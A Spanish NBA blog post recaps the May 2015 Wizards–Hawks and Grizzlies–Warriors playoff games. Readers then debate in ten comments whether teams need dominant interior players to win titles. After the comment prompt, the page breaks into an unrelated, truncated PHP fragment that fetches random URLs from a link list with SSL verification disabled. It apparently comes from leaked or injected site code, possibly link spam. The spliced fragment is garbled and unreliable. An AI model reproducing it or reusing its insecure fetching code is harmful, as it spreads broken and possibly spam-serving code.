La Crónica: Y tras el caviar… jamón dulce del malo

04 de May de 2015 por txusma

Sabíamos que el sábado había sido un día histórico y que difícilmente presenciaríamos algo similar al día siguiente. Lo que no sabíamos es que la diferencia sería tan abismal. El Wizards – Hawks resultó un despropósito en algunos tramos del partido (ya avisamos…) y el Grizzlies – Warriors se acabó antes de tiempo. Poca chicha para los que han probado el caviar más selecto.

Washington Wizards 104 – Atlanta Hawks 98

37 puntos anotados en el primer cuarto nada menos. Los Hawks parecían mantener el nivel de juego que habían mostrado en su último partido ante los Nets y con un 64% de acierto en los tiros de campo y un Demarre Carroll tocado por las musas se hicieron con 11 puntos de ventaja en los primeros 12 minutos. Pero los Wizards aguantaron. En el segundo cuarto mantuvieron las distancias de la mano de un fantástico Bradley Beal y tras el descanso llegó su momento. Los Hawks se quedaron sin gasolina y no pudieron hacer nada para evitar que poco a poco los Wizards, con un Paul Pierce en su salsa, fueran reduciendo la ventaja hasta empatarles al principio del último cuarto. Los últimos minutos fueron un esperpento que se hizo más evidente con el recuerdo del Spurs-Clippers aún en nuestras retinas. Atlanta tiró 28 veces y sólo fue capaz de anotar 5 tiros, un 18% de acierto. Hubo una jugada concreta en que la vergüenza ajena alcanzó límites difícilmente intolerables: los locales cogieron en hasta en 5 ocasiones el rebote ofensivo pero no hubo manera de que anotaran. Lo peor de todo es que a pesar del lamentable espectáculo aún estuvieron a punto de ganar y es que a falta de 1:30 para el final sólo estaban 2 puntos abajo. Un par de canastas de Otto Porter y Marcin Gortat certificaron el triunfo de los visitantes y acabaron con la agonía. Y Tim Duncan viendo el partido desde su casa…

MVP: Bradley Beal (28 puntos y 7 rebotes), John Wall (18 puntos, 7 rebotes, 13 asistencias)

Memphis Grizzlies 86 – Golden State Warriors 101

O mucho cambian las cosas o esta serie va a ser más corta y menos emocionante de lo que todos desearíamos. Por suerte, los Grizzlies le pueden poner nombre a su margen de mejora: Mike Conley. Sencillamente es imposible enfrentarse al mejor equipo de la liga con Nick Calathes como base titular. “No way” que dirían los americanos. Courtney Lee anotó los 3 primeros puntos del partido, Draymond Green anotó un minuto después y se acabó. Los Grizzlies jamás volvieron a ponerse por delante ni a inquietar mínimamente a Stephen Curry y compañía. Tal fue la superioridad de los locales que el último cuarto fue un mero trámite. Marc Gasol y Zach Randolph fueron los únicos que plantaron batalla pero hay que ser muy bueno para aguntar el desgaste al que te someten Andrew Bogut y Draymond Green. O sus compañeros dan un paso al frente o no tendrán oportunidades.

MVP: Stephen Curry (22 puntos, 7 rebotes y 4 robos)

Comenta

10 comentarios a esta entrada

  1. Ruxixón dice:
    #1

    La verdad que Memphis tiene cosas para hacer pupa a los Warriors,básicamente por ese juego interior,pero es que los Warriors parecen una máquina,ahora mismo sería una sorpresa que no se llevaran el anillo,al menos para mí.Lo de Atlanta muy sintomático que lleguen así a los finales de partido.En su serie contra Nets siempre perdieron en el último cuarto,y se repite la historia contra los Wizards.

      Citar

  2. Jose Luis dice:
    #2

    Pero nunca un juego interior es tan decisivo como el exterior.

    ¿Cual fue el último equipo que se basó en 2 grandes interiores anotadores para ganar el anillo?

      Citar

  3. MagicJohnson32 dice:
    #3

    Jose Luis:
    Pero nunca un juego interior es tan decisivo como el exterior.

    ¿Cual fue el último equipo que se basó en 2 grandes interiores anotadores para ganar el anillo?

    Los Spurs, con Tim y Duncan xDD

      Citar

  4. Viva_Dirk dice:
    #4

    Una cosa son dos anotadores interiores y otra un juego interior poderoso. Hay más campeones con un gran juego interior que sin el.

      Citar

  5. Jose Luis dice:
    #5

    Viva_Dirk:
    Una cosa son dos anotadores interiores y otra un juego interior poderoso. Hay más campeones con un gran juego interior que sin el.

    Si, pero el máximo anotador suele ser exterior.

    Por ejemplo Bynum-Gasol, pero con Bryant.

      Citar

  6. Triceratops dice:
    #6

    Pues yo soy de la opinión que sin un pivot poderoso bajo aros (al menos defensivamente) no tienes mucho que hacer si quieres ganar un anillo (salvo que seas Dios Jordan).
    Es cierto, que recientemente hay campeones, como los Heat, que con la clase de Lebron y Wade, y la ayuda de un buen Bosh, les has bastado para jugar 4 finales seguidas, pero tambien es verdad que hoy dia te puedes permitir eso porque el nivel de centers no es muy bueno.

    Por ejemplo, creo que si los Thunder hubiesen traspasado a Ibaka y hubiesen pillado a algún pivot decente, Durant & Westbrook lucirían algún anillo en sus dedos.

      Citar

  7. Viva_Dirk dice:
    #7

    Un buen juego interiro es clave, el número de campeones con el es muy superior al que no lo tiene como ya dije en mi comentario. Aunque obviamente no todos los puntos y la defensa puede llegar de la zona, debe haber buenos mimbres exteriores también, pero generalmente los equipos campeones, y no digamos las dinastías, se montan en torno a hombres interiores dominantes, excepción hecha de Michael Jordan.

      Citar

  8. Jose Luis dice:
    #8

    En torno quizá, pero dificilmente la máxima estrella sea un interior.

    El último fue… Duncan en 2005? 10 años.

      Citar

  9. Ruxixón dice:
    #9

    Jose Luis:
    En torno quizá, pero dificilmente la máxima estrella sea un interior.
    El último fue… Duncan en 2005? 10 años.

    Te voy a hacer medio trampa,Nowitzki en 2011,con Tyson Chandler a su lado,clave ese año.Sé que el alemán no es un interior al uso,al menos en los términos en los que se está planteando el debate aquí,pero vale.Y le doy la vuelta a la tortilla siguiendo con la línea de los comentarios,¿cuántos equipos han ganado el anillo sin un interior más o menos dominante?

    Focalizando en el duelo que nos ocupa,dije lo que dije porque Randolph “debería” poder superar a su par (Green) por altura y kilos,y Marc hacer lo mismo,aunque su caso es más complicado con Bogut enfrente,pero sabemos que el australiano raras veces se irá por encima de los 30 minutos,y su rotación es Speights.A éste el pequeño de los Gasol debería machacar.Claro,esto en un mundo perfecto para los intereses de los Grizzlies,pero es que no les queda otra si quieren ganar a Golden State,cosa que me parece imposible ya que no veo equipo NBA capaz de ganarles a 7 partidos.

      Citar

  10. Jose Luis dice:
    #10

    Ruxixón: Te voy a hacer medio trampa,Nowitzki en 2011,con Tyson Chandler a su lado,clave ese año.Sé que el alemán no es un interior al uso,al menos en los términos en los que se está planteando el debate aquí,pero vale.Y le doy la vuelta a la tortilla siguiendo con la línea de los comentarios,¿cuántos equipos han ganado el anillo sin un interior más o menos dominante?

    Focalizando en el duelo que nos ocupa,dije lo que dije porque Randolph “debería” poder superar a su par (Green) por altura y kilos,y Marc hacer lo mismo,aunque su caso es más complicado con Bogut enfrente,pero sabemos que el australiano raras veces se irá por encima de los 30 minutos,y su rotación es Speights.A éste el pequeño de los Gasol debería machacar.Claro,esto en un mundo perfecto para los intereses de los Grizzlies,pero es que no les queda otra si quieren ganar a Golden State,cosa que me parece imposible ya que no veo equipo NBA capaz de ganarles a 7 partidos.

    Pero es que es muy dificil meter balones dentro en buena posición para los interiores, y que anoten. Anotar en el poste no es tan fácil, la mayoría de las canastas de Marc por ejemplo son tiritos de 4-5 metros que no se fabrica él. Randolph sí se los suele fabricar.

    No sé, es muy dificil explotar un dúo interior. Rara vez vemos partidos de Gasol y Randolph con más de 30 tiros entre los dos. Cierto que Randolph, por kilos, podría meter a Green bajo el aro, pero Marc no es anotador de poste.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>